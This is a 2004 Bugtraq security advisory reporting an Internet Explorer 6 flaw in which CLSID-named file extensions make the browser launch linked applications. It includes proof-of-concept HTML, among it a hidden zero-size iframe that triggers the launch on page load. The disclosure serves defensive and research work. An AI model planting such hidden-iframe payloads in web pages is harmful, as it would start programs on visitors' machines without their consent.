bugtraq - Internet explorer .clsid vulnerability

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Message-ID: <20040520225219.28082.qmail@www.securityfocus.com>
Date: 20 May 2004 22:52:19 -0000
From: roozbeh afrasiabi <roozbeh_afrasiabi@...oo.com>
To: bugtraq@...urityfocus.com
Subject: Internet explorer .clsid vulnerability





                           advisory#5
/---------------------------------------------------------------------------/


Vendor:              Microsoft Corp.
product:             windows XP
test machine:        winxp.pro.ed IE.6 (Fully Patched)
Discovery by:        Roozbeh Afrasiabi (roozbeh_afrasiabi(at)yahoo(dot)com)
Title:               Internet explorer .clsid vulnerability
local:               yes
/---------------------------------------------------------------------------/









TABLE OF CONTENTS:
==================

Description..............................................1

POC......................................................2

Contact info.............................................3

Disclaimer...............................................4











1)Description
================



CLSIDs are used by windows and other MS  products in  many  different
ways,these CLSIDs are linked to folders,applications,files,...

When CLSIDs that are linked to  executables are used as the extension 
of existing  or  non existing  files  in html pages Internet explorer
would execute the application linked to these CLSIDs , in addition 
existing files with CLSIDs linked to apps would execute too when they
are accessed directly.


2)poc
================


<a href=Roozbeh.{3E9BAF2D-7A79-11d2-9334-0000F875AE17}>dose not exist!</a>

<a href=.{3E9BAF2D-7A79-11d2-9334-0000F875AE17}>dose not exist!</a>

<a href=.{FB7199AB-79BF-11d2-8D94-0000F875C541}>dose not exist!</a>

<iframe id="Target" width="0" height="0" src=".{3E9BAF2D-7A79-11d2-9334-0000F875AE17}" name="Target" scrolling="yes">
</iframe>





3)Contact Info
==================

(roozbeh_afrasiabi(at)yahoo(dot)com)
(da_stone_cold_killer(at)yahoo(dot)com)


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4)Disclaimer
==================


Roozbeh Afrasiabi is not responsible for the misuse of the information provided in this report. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use ofthe information is at the user's own risk.


                                                     All Rights Reserved